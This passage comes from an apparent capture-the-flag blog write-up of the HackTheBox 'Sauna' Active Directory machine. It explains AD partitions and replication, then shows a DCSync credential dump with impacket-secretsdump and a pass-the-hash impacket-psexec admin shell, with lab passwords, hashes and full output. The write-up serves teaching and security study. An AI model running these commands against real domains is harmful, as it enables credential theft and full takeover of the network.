      SMB         10.10.10.175    445    SAUNA            [*] Windows 10 / Server 2019 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
      LDAP        10.10.10.175    389    SAUNA            [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23
      LDAP        10.10.10.175    389    SAUNA            [+] Response for object: CN=Administrator,CN=Users,DC=EGOTISTICAL-BANK,DC=LOCAL
      LDAP        10.10.10.175    389    SAUNA            objectClass:         top person organizationalPerson user
      LDAP        10.10.10.175    389    SAUNA            cn:                  Administrator
      LDAP        10.10.10.175    389    SAUNA            description:         Built-in account for administering the computer/domain
      LDAP        10.10.10.175    389    SAUNA            distinguishedName:   CN=Administrator,CN=Users,DC=EGOTISTICAL-BANK,DC=LOCAL
      LDAP        10.10.10.175    389    SAUNA            instanceType:        4
      LDAP        10.10.10.175    389    SAUNA            whenCreated:         20200123054439.0Z
      LDAP        10.10.10.175    389    SAUNA            whenChanged:         20241102002526.0Z
      LDAP        10.10.10.175    389    SAUNA            uSNCreated:          8196
      LDAP        10.10.10.175    389    SAUNA            memberOf:            CN=Group Policy Creator Owners,CN=Users,DC=EGOTISTICAL-BANK,DC=LOCAL CN=Domain Admins,CN=Users,DC=EGOTISTICAL-BANK,DC=LOCAL CN=Enterprise Admins,CN=Users,DC=EGOTISTICAL-BANK,DC=LOCAL CN=Schema Admins,CN=Users,DC=EGOTISTICAL-BANK,DC=LOCAL CN=Administrators,CN=Builtin,DC=EGOTISTICAL-BANK,DC=LOCAL
      LDAP        10.10.10.175    389    SAUNA            uSNChanged:          102442
      LDAP        10.10.10.175    389    SAUNA            name:                Administrator
      LDAP        10.10.10.175    389    SAUNA            objectGUID:          0x068e3621547cd54c94218186a6d29f66
      LDAP        10.10.10.175    389    SAUNA            userAccountControl:  66048
      LDAP        10.10.10.175    389    SAUNA            badPwdCount:         0
      LDAP        10.10.10.175    389    SAUNA            codePage:            0
      LDAP        10.10.10.175    389    SAUNA            countryCode:         0
      LDAP        10.10.10.175    389    SAUNA            badPasswordTime:     132717895011744380
      LDAP        10.10.10.175    389    SAUNA            lastLogoff:          0
      LDAP        10.10.10.175    389    SAUNA            lastLogon:           133749807414906736
      LDAP        10.10.10.175    389    SAUNA            logonHours:          0xffffffffffffffffffffffffffffffffffffffffff
      LDAP        10.10.10.175    389    SAUNA            pwdLastSet:          132717897763775553
      LDAP        10.10.10.175    389    SAUNA            primaryGroupID:      513
      LDAP        10.10.10.175    389    SAUNA            objectSid:           0x010500000000000515000000fa8ed5b08a3095b83eacb646f4010000
      LDAP        10.10.10.175    389    SAUNA            adminCount:          1
      LDAP        10.10.10.175    389    SAUNA            accountExpires:      0
      LDAP        10.10.10.175    389    SAUNA            logonCount:          108
      LDAP        10.10.10.175    389    SAUNA            sAMAccountName:      Administrator
      LDAP        10.10.10.175    389    SAUNA            sAMAccountType:      805306368
      LDAP        10.10.10.175    389    SAUNA            objectCategory:      CN=Person,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
      LDAP        10.10.10.175    389    SAUNA            isCriticalSystemObject: TRUE
      LDAP        10.10.10.175    389    SAUNA            dSCorePropagationData: 20200123061524.0Z 20200123060040.0Z 20200123060040.0Z 20200123054531.0Z 16010714042016.0Z
      LDAP        10.10.10.175    389    SAUNA            lastLogonTimestamp:  133749807261625180
    

    To name a few, this user named Administrator has the following attributes: sAMAccountName, lastLogon, logonCount, objectSid. Also, its class (or object category) is Person (basically it’s a user, NOT a computer).

    As the Microsoft documentation states regarding Object Classes and Object Categories: “the objectClass property of a user object would identify the top, person, organizationalPerson, and user classes”.

    Such attributes and classes can be defined on AD objects, because they’re in the Schema Partition.

    Here’s a sample of such partition in our context (for simplicity, I shrinked the standard output to arbitrary contiguous lines; they might not be in the same exact line order as the actual command’s output):

      PS C:\Users\jamarir> Get-ADObject -Credential (New-Object System.Management.Automation.PSCredential('EGOTISTICALBANK.LOCAL\fsmith',(ConvertTo-SecureString 'Thestrokes23' -AsPlainText -Force))) -Server 10.10.10.175 -SearchBase 'CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL' -Filter *
    
      DistinguishedName                                                                                        Name                                          ObjectClass     ObjectGUID
      -----------------                                                                                        ----                                          -----------     ----------
      CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL                                                  Schema                                        dMD             9888a1cd-43bf-49ec-8135-f11828ee9a7e
      [...]
      CN=Person,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL                                        Person                                        classSchema     1a01498f-dad0-40ca-92ef-2ca24bd9b5ce
      CN=SAM-Account-Name,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL                              SAM-Account-Name                              attributeSchema 8d135d73-747d-402e-963b-3fe0d80631fe
      CN=Last-Logon,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL                                    Last-Logon                                    attributeSchema f1a6a24b-e526-4eb5-b605-f06bfa627437
      CN=Logon-Count,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL                                   Logon-Count                                   attributeSchema 76a23f8d-ed3a-47c9-8d0b-4b40573fca0e
      CN=Object-Sid,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL                                    Object-Sid                                    attributeSchema c9c1e01f-8709-4262-ad3a-c8ffc216daf9
      [...]
      CN=Canonical-Name,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL                                Canonical-Name                                attributeSchema eb4ed000-c891-4dd3-9285-a56b8697b992
      CN=Object-Category,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL                               Object-Category                               attributeSchema 9ac8661f-8f22-4b20-8931-865d1fb614be
      CN=Sites-Container,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL                               Sites-Container                               classSchema     197d4c2c-c83a-426e-a9b4-70ebc8fb093d
      CN=Object-Guid,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL                                   Object-Guid                                   attributeSchema 2069ef32-072f-407a-9693-fbc207dfcd96
      [...]
    

    You may check the SecLists GitHub repo for an exhaustive list of classes and attributes.

  • Configuration Partition: Contains the topology and configuration data to replicate in the forest, and is replicated over the forest’s DCs. In other words, it stipulates which data should be replicated between DCs in the forest.

    Here’s a sample of such partition in our context (for simplicity, I shrinked the standard output to arbitrary contiguous lines; they might not be in the same exact line order as the actual command’s output):

      PS C:\Users\jamarir> Get-ADObject -Credential (New-Object System.Management.Automation.PSCredential('EGOTISTICALBANK.ielmiessler/SecLists/blob/master/Fuzzing/LDAP-active-directory-classes.txtLOCAL\fsmith',(ConvertTo-SecureString 'Thestrokes23' -AsPlainText -Force))) -Server 10.10.10.175 -SearchBase 'CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL' -Filter * -Properties *
      CanonicalName                   : EGOTISTICAL-BANK.LOCAL/Configuration
      DistinguishedName               : CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
      ObjectCategory                  : CN=Configuration,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
      ObjectClass                     : configuration
      ObjectGUID                      : 7978a54d-1f70-4071-93e6-9e7a2a425959
    
      CanonicalName                   : EGOTISTICAL-BANK.LOCAL/Configuration/WellKnown Security Principals/Authenticated Users
      DistinguishedName               : CN=Authenticated Users,CN=WellKnown Security Principals,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
      ObjectCategory                  : CN=Foreign-Security-Principal,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
      ObjectClass                     : foreignSecurityPrincipal
      ObjectGUID                      : e008a590-4076-4658-9864-5a026af90ef8
      objectSid                       : S-1-5-11
    
      appliesTo                       : {bf967a8f-0de6-11d0-a285-00aa003049e2, bf967a87-0de6-11d0-a285-00aa003049e2, 19195a5b-6da0-11d0-afd3-00c04fd930c9}
      CanonicalName                   : EGOTISTICAL-BANK.LOCAL/Configuration/Extended-Rights/DS-Replication-Get-Changes-All
      DisplayName                     : Replicating Directory Changes All
      DistinguishedName               : CN=DS-Replication-Get-Changes-All,CN=Extended-Rights,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
      Name                            : DS-Replication-Get-Changes-All
      ObjectCategory                  : CN=Control-Access-Right,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
      ObjectClass                     : controlAccessRight
      ObjectGUID                      : 60acef4f-05ca-49ee-b7c5-6abfaa31c971
      [...]
    

    Again, note that the attributes can be defined (e.g. CanonicalName) because they’re in the database’s layout (Schema Partition).

  • Domain Partition / Naming Context: Contains the domain’s objects (e.g. users, computers, Domain Controllers, etc.), automatically replicated over every DC of the local domain ONLY. Said differently, in a forest with multiple domains, the Domain Partitions are not shared between different domains, but only between the DCs of the same domain.

    Here’s a sample of such partition in our context (for simplicity, I shrinked the standard output to arbitrary contiguous lines; they might not be in the same exact line order as the actual command’s output):

      PS C:\Users\jamarir> Get-ADObject -Credential (New-Object System.Management.Automation.PSCredential('EGOTISTICALBANK.LOCAL\fsmith',(ConvertTo-SecureString 'Thestrokes23' -AsPlainText -Force))) -Server 10.10.10.175 -SearchBase 'DC=EGOTISTICAL-BANK,DC=LOCAL' -Filter * -Properties *
      CanonicalName                               : EGOTISTICAL-BANK.LOCAL/
      CN                                          : 
      dc                                          : EGOTISTICAL-BANK
      Description                                 : 
      DistinguishedName                           : DC=EGOTISTICAL-BANK,DC=LOCAL
      gPLink                                      : [LDAP://CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=EGOTISTICAL-BANK,DC=LOCAL;0]
      lockoutThreshold                            : 0
      masteredBy                                  : {CN=NTDS Settings,CN=SAUNA,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL}
      maxPwdAge                                   : -36288000000000
      minPwdAge                                   : -864000000000
      minPwdLength                                : 7
      ms-DS-MachineAccountQuota                   : 10
      Name                                        : EGOTISTICAL-BANK
      ObjectCategory                              : CN=Domain-DNS,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
      ObjectClass                                 : domainDNS
      ObjectGUID                                  : 504e06ec-22c1-43a1-93c0-cf4807f83363
      objectSid                                   : S-1-5-21-2966785786-3096785034-1186376766
      pwdHistoryLength                            : 24
      subRefs                                     : {DC=ForestDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL, DC=DomainDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL, CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL}
    
      CanonicalName                   : EGOTISTICAL-BANK.LOCAL/Users
      CN                              : Users
      Description                     : Default container for upgraded user accounts
      DistinguishedName               : CN=Users,DC=EGOTISTICAL-BANK,DC=LOCAL
      Name                            : Users
      ObjectCategory                  : CN=Container,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
      ObjectClass                     : container
      ObjectGUID                      : b9665441-3249-4a8d-8222-ec183082f19f
    
      CanonicalName                   : EGOTISTICAL-BANK.LOCAL/Computers
      CN                              : Computers
      Description                     : Default container for upgraded computer accounts
      DistinguishedName               : CN=Computers,DC=EGOTISTICAL-BANK,DC=LOCAL
      Name                            : Computers
      ObjectCategory                  : CN=Container,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
      ObjectClass                     : container
      ObjectGUID                      : 52d7c6c4-b2a4-4c0c-ae22-31c2d396438f
    
      CanonicalName                   : EGOTISTICAL-BANK.LOCAL/Domain Controllers
      CN                              : 
      Description                     : Default container for domain controllers
      DistinguishedName               : OU=Domain Controllers,DC=EGOTISTICAL-BANK,DC=LOCAL
      Name                            : Domain Controllers
      ObjectCategory                  : CN=Organizational-Unit,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
      ObjectClass                     : organizationalUnit
      ObjectGUID                      : 86c8f6a3-22b6-470b-8f01-c34cdb74ac8c
      ou                              : {Domain Controllers}
      [...]
    
  • Application Partition: Consider the following issues:

    • Dynamic data change more frequently than the replication latency, which might lead to data inconsistencies, or impact the network performance.

    • A Windows 2000 alternative is to store dynamic data marked as non-replicated. However, this leads to a single point of failure, where a single DC houses the only object copies marked as non-replicable.

The Application Partition tackles these issues by allowing an in-depth management of replicas in a manner more suitable for dynamic data. For example, by storing the DNS zone data in an Application Partition, it’s possible to redefine the scope of replication only to the DCs actually running the DNS server. Thus, we don’t perform the replication on every DC. In particular, we save ourselves from replicating DNS zones to DCs that aren’t running the DNS server.

Here’s a sample of such partition in our context (for simplicity, I shrinked the standard output to arbitrary contiguous lines; they might not be in the same exact line order as the actual command’s output):

    PS C:\Users\jamarir> Get-ADObject -Credential (New-Object System.Management.Automation.PSCredential('EGOTISTICALBANK.LOCAL\fsmith',(ConvertTo-SecureString 'Thestrokes23' -AsPlainText -Force))) -Server 10.10.10.175 -SearchBase 'DC=DomainDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL' -Filter * -Properties * |Select-Object CanonicalName,DistinguishedName,ObjectCategory,ObjectClass,ObjectGUID

    CanonicalName     : DomainDnsZones.EGOTISTICAL-BANK.LOCAL/
    DistinguishedName : DC=DomainDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
    ObjectCategory    : CN=Domain-DNS,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
    ObjectClass       : domainDNS
    ObjectGUID        : 9ea43f8b-df00-4fe4-940f-907e3dcaf5f5

    CanonicalName     : DomainDnsZones.EGOTISTICAL-BANK.LOCAL/MicrosoftDNS/EGOTISTICAL-BANK.LOCAL
    DistinguishedName : DC=EGOTISTICAL-BANK.LOCAL,CN=MicrosoftDNS,DC=DomainDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
    ObjectCategory    : CN=Dns-Zone,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
    ObjectClass       : dnsZone
    ObjectGUID        : 69438f01-d033-4bde-a83f-fdc0d278c6f9

    CanonicalName     : DomainDnsZones.EGOTISTICAL-BANK.LOCAL/MicrosoftDNS/EGOTISTICAL-BANK.LOCAL/sauna
    DistinguishedName : DC=sauna,DC=EGOTISTICAL-BANK.LOCAL,CN=MicrosoftDNS,DC=DomainDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
    ObjectCategory    : CN=Dns-Node,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
    ObjectClass       : dnsNode
    ObjectGUID        : acfba09d-8334-441b-9601-5fe2411b7086
    [...]

For example, in the MicrosoftDNS.EGOTISTICAL-BANK.LOCAL class, the SAUNA.EGOTISTICAL-BANK.LOCAL has been assigned the Dns-Node class; so that SAUNA holds DNS records. Indeed, every instance of the MicrosoftDNS_Zone class must be assigned exactly one DNS Server.

DCSync / NC Secret Domain Data Replication huh ?

Let’s recall what was written above, ages ago:

The svc_loadmgr account has 3 rights on the domain, whose respective definitions are:

Therefore, based on these statements, coupling the first 2 permissions allows svc_loanmgr to replicate secret domain data from a NC (the partition containing all the domain’s objects). This configuration allows to perform what’s called a DCSync attack.

Hacktricks states that the DS-Replicatrion-Get-Changes-In-Filtered-Set extended right is also required, while alteredsecurity states that this right is not always needed. Finally, The Hacker Recipes doesn’t even mention it.

Anyway, for the current HTB box, this right wasn’t required.

Replication Topology huh ?

Check the Microsoft documentation on FMSO roles, Active Directory Replication Concepts, or Bridgehead Server Load-Balancing for more details.

Active Directory is the central database storing all objects in an enterprise (that can store millions of objects). Database updates might be initiated by any DC (connected or disconnected from the network), and merging the database’s updates can become really challenging when the domain’s size is growing.

To name few solutions, one way to resolve such AD database discrepencies between DCs is to implement:

  • A last writer wins logic, where only the last written data copy is considered, thus replicated/pushed over all DCs. However, conflicts might still happen, and the other DCs changes might be discarded and lost.

  • A Single-master model, where only one DC in the entire domain, known as the PDC (Primary Domain Controller), is allowed to process updates. For example, other DCs need to refer to that PDC to check logons, if their local passwords are not up to date, or to synchronize their local database if a password change notification occured in the PDC.

  • A Replication Topology, which specifies connections between DCs in a forest according to their location in the domain. Here, each DC is associated to a subnet/site, which ensures the DC is efficiently and dynamically updated, given network/directory service configurations, DCs movements to/from sites, DCs’ availability, etc..

    The built-in KCC (Knowledge Consistency Checker), running on all DCs, generates such efficient replication topology. It allows administrators to create automatic/manual connections between DCs for synchronization, with load-balancing features. In such configuration, the RODCs (Read-Only Domain Controllers) can automatically find new Hub DCs candidates (also named Bridgehead servers, or DCs), from which it can replicate updates. Therefore, when an AD administrator performs changes on the Hub DC, this Hub DC can push updates to (Outband Control) the RODCs. Also, the RODCs can pull updates from (Inbound Control) the Hub DC.

    N.B. : If a user requests a password change on an RODC, then the RODC acts as an authentication proxy, forwarding the request to its Hub DC, which itself acts as if it was the first DC to receive the request.

In a nutshell, Replication in an Active Directory environment is quite a mess to manage. But most importantly, a DC can update/pull/synchronize its local AD database, by replicating another DC database’s NC updates (via the DRSGetNCChanges function).

That’s DCSync.

PsExec it !

Therefore, with our svc_loanmgr account, we can perform a DCsync attack to get an an domain user’s NTHash via the impacket's secretsdump.py script. This attack simulates what a DC would do to synchronize its local database with another DC:

The GetNCChanges() call simply dumps (replicates) updated domain objects from a given NC replica (tree of objects).

The vssadmin command simply performs a shadow copy of NTDS.dit. A shadow copy allows to copy a file, even if it is currently in use.

kali@kali:~$ impacket-secretsdump 'EGOTISTICAL-BANK.LOCAL'/'svc_loanmgr':'Moneymakestheworldgoround!'@'10.10.10.175'
Impacket v0.13.0.dev0+20241024.90011.835e175 - Copyright Fortra, LLC and its affiliated companies

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428cad97676ff802229e466e2c:::
EGOTISTICAL-BANK.LOCAL\HSmith:1103:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\FSmith:1105:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:1108:aad3b435b51404eeaad3b435b51404ee:9cb31797c39a9b170b04058ba2bba48c:::
SAUNA$:1000:aad3b435b51404eeaad3b435b51404ee:890bc69d445fb83359afcd7e7b2e1b7b:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:42ee4a7abee32410f470fed37ae9660535ac56eeb73928ec783b015d623fc657
Administrator:aes128-cts-hmac-sha1-96:a9f3769c592a8a231c3c972c4050be4e
Administrator:des-cbc-md5:fb8f321c64cea87f
krbtgt:aes256-cts-hmac-sha1-96:83c18194bf8bd3949d4d0d94584b868b9d5f2a54d3d6f3012fe0921585519f24
krbtgt:aes128-cts-hmac-sha1-96:c824894df4c4c621394c079b42032fa9
krbtgt:des-cbc-md5:c170d5dc3edfc1d9
EGOTISTICAL-BANK.LOCAL\HSmith:aes256-cts-hmac-sha1-96:5875ff00ac5e82869de5143417dc51e2a7acefae665f50ed840a112f15963324
EGOTISTICAL-BANK.LOCAL\HSmith:aes128-cts-hmac-sha1-96:909929b037d273e6a8828c362faa59e9
EGOTISTICAL-BANK.LOCAL\HSmith:des-cbc-md5:1c73b99168d3f8c7
EGOTISTICAL-BANK.LOCAL\FSmith:aes256-cts-hmac-sha1-96:8bb69cf20ac8e4dddb4b8065d6d622ec805848922026586878422af67ebd61e2
EGOTISTICAL-BANK.LOCAL\FSmith:aes128-cts-hmac-sha1-96:6c6b07440ed43f8d15e671846d5b843b
EGOTISTICAL-BANK.LOCAL\FSmith:des-cbc-md5:b50e02ab0d85f76b
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes256-cts-hmac-sha1-96:6f7fd4e71acd990a534bf98df1cb8be43cb476b00a8b4495e2538cff2efaacba
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes128-cts-hmac-sha1-96:8ea32a31a1e22cb272870d79ca6d972c
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:des-cbc-md5:2a896d16c28cf4a2
SAUNA$:aes256-cts-hmac-sha1-96:8ca251ac680d93afa6b4082ece68c01b6cdafedb575ac5e6a8ffc520951db00b
SAUNA$:aes128-cts-hmac-sha1-96:2b05af5d8cec513ca1c306a704f79da1
SAUNA$:des-cbc-md5:1f7364545b89ead5
[*] Cleaning up...

With that Administrator’s NTHash, we may perform a Pass-The-Hash attack to impersonate the Administrator via the impacket’s psexec.py script on the Domain Controller:

kali@kali:~$ impacket-psexec -hashes 'aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e' Administrator@10.10.10.175

Impacket v0.11.0 - Copyright 2023 Fortra

[*] Requesting shares on 10.10.10.175.....
[*] Found writable share ADMIN$
[*] Uploading file htWZyJfC.exe
[*] Opening SVCManager on 10.10.10.175.....
[*] Creating service LyCy on 10.10.10.175.....
[*] Starting service LyCy.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.973]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

In a domain environment, users’ passwords aren’t sent in the network to authenticate over NTLM. Instead, each user sends its NTHash. Thus, having a user’s NTHash is like having its password, as we can impersonate that user over NTLM via a Pass-The-Hash attack (or over Kerberbos via a Pass-The-Key attack).

psexec.py, from the impacket’s suite, uses the RemCom utility. RemCom is (was) a legitimate utility, built 13 years ago. This utility is nothing more than a remote shell, that didn’t require any installation on the remote system. Therefore, it allows people to execute commands on remote Windows machines, or even have a runas cmdlet alternative. Nowadays, however, this tool is mostly categorized as a malware.

psexec.exe, from the Sysinternals’s PsTools suite, may also be used on Windows machines. Again, even if none of the PsTools contain viruses, they trigger virus notifications.

By default, PsExec (without the -l option) needs admin rights on the remote system. As said the synacktiv (or serverfault) article, this is because it must start a service, which requires admin privileges. Thus, PsExec copies its executable in a privileged share (generally ADMIN$). If the upload succeeds, then we’re admin on the remote Windows machine, and we can compromise the target with an admin remote shell. Without a surprise, Administrator is a member of the Administrators local group.

It’s worth mentionning that, as the Microsoft documentation states, the Domain Admins (resp. Enterprise Admins) group is, by design, a member of the local Administrators group on all computers (DC included) that have joined the domain (resp. any domain in the forest). In other words, members of the group Domain Admins (resp. Enterprise Admins) are also granted Administrator rights on every computer of the domain (resp. any domain in the forest).

*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> net localgroup administrators /domain
Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
The command completed successfully.

GG WP !

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
3c[...]88

Quick SAM / LM:NT/Hash discussion

Check the Microsoft’s documentation on local SAM databases, LMHashes and NTHashes, or on the Operating System Installation for more details.

The -hashes format in this psexec command is LM:NT (that’s NTLM-counter-intuitive…). These LMHash (Lan Manager) and NTHash (Unicode) hashes are stored in the local SAM (Security Account Manager) database, in C:\Windows\System32\Config\SAM.

As you may have noticed, the LMHash format above is the concatecation of 2 strings (ending with 404ee): "aad3b435b51404ee"+"aad3b435b51404ee". This LMHash is generated using the following algorithm (which is technically not a hashing algorithm):

  • UPPERCASE the passwords’ characters.

  • NULL-pad / truncate to 14 characters.

  • DES encrypt each 7-chars half, and concatenate the 2 results.

Thus, LMHashes are very easy to crack, and should even be disabled on newer Windows systems. In the best case scenario, where the user’s password is 15 characters or more, and contains lowercase and uppercase characters, the LM hashing algortihm makes the password case-insensitive, and 14-chars truncated, thus less secure. Also, the hash is calculated on 2 chunks of 7 characters only. Finally, the LM hash algorithm isn’t salted.

Nowadays, the LM hashing algorithm is instantly crackable. Indeed, with that same configuration (7-chars length, case-insensitive), stronger algorithms such as:

  • bcrypt hashing algorithm (which is salted) is crackable in 50 mins, as Hive System shows.

      kali@kali:~$ man 5 bcrypt
    

  • NT hashing algorithm (based on MD4, which is not salted), is crackable instantly, as thesecurityfactory, or that randorisec's benchmark shows.

So what about the less secure LM hashing algorithm ?

When a blank password’s LMHash is generated, it results in an "LM Hash 404ee Not Found", as seen in the above psexec.py's output.

LMHashes can be generated via the Python’s lmhash library:

kali@kali:~$ python -c 'from passlib.hash import lmhash; print(lmhash.hash(""))'
aad3b435b51404eeaad3b435b51404ee

Or via the ConvertTo-LMHash.ps1 script from the DSInternals suite:

PS C:\Users\jamarir> Install-Module DSInternals -Force
PS C:\Users\jamarir> ConvertTo-LMHash -Password (New-Object System.Security.SecureString)
aad3b435b51404eeaad3b435b51404ee
PS C:\Users\jamarir> ConvertTo-LMHash -Password (ConvertTo-SecureString -String 'P@ssw0rd123!' -AsPlainText -Force)
921988ba001dc8e1c17ec4fe2a5374cb

Therefore, not specifying the LMHash in psexec.py would also be accepted, as the LMHash is blank (or disabled on modern servers):

kali@kali:~$ impacket-psexec -hashes ':823452073d75b9d1cf70ebdf86c7f98e' Administrator@10.10.10.175
Impacket v0.13.0.dev0+20241024.90011.835e175 - Copyright Fortra, LLC and its affiliated companies

[*] Requesting shares on 10.10.10.175.....
[*] Found writable share ADMIN$
[*] Uploading file nAeQdJUN.exe
[*] Opening SVCManager on 10.10.10.175.....
[*] Creating service MCiY on 10.10.10.175.....
[*] Starting service MCiY.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.973]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

The LMHash can be generated by the system for passwords with less than 14 characters. Thus, a non-blank LMHash is an indication of the password’s maximum length.

You can use the following Python script to generate NTHashes. Notice that the svc_loanmgr's password is Moneymakestheworldgoround!, whose NTHash is effectively 9cb31797c39a9b170b04058ba2bba48c in the impacket-secretsdump's output above:

kali@kali:~$ python -c 'import binascii, hashlib; print(binascii.hexlify(hashlib.new("md4", "Moneymakestheworldgoround!".encode("utf-16le")).digest()))'
b'9cb31797c39a9b170b04058ba2bba48c'
kali@kali:~$ python -c 'import binascii, hashlib; print(binascii.hexlify(hashlib.new("md4", "".encode("utf-16le")).digest()))'
b'31d6cfe0d16ae931b73c59d7e0c089c0'

Or the Rubeus.exe C# toolset, whose compiled version can be downloaded from the SharpCollection GitHub repo:

PS C:\Users\jamarir> Rubeus.exe hash /password:'Moneymakestheworldgoround!'

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.3


[*] Action: Calculate Password Hash(es)

[*] Input password             : Moneymakestheworldgoround!
[*]       rc4_hmac             : 9CB31797C39A9B170B04058BA2BBA48C

[!] /user:X and /domain:Y need to be supplied to calculate AES and DES hash types!

Or the ConvertTo-NTHash.ps1 script from the DSInternals suite:

PS C:\Users\jamarir> Install-Module DSInternals -Force
PS C:\Users\jamarir> ConvertTo-NTHash -Password (New-Object System.Security.SecureString)
31d6cfe0d16ae931b73c59d7e0c089c0
PS C:\Users\jamarir> ConvertTo-NTHash -Password (ConvertTo-SecureString -String 'Moneymakestheworldgoround!' -AsPlainText -Force)
9cb31797c39a9b170b04058ba2bba48c

Or this tobtu.com LM/NTHash Generator:

Did you find this article valuable?

Support jamarir's blog by becoming a sponsor. Any amount is appreciated!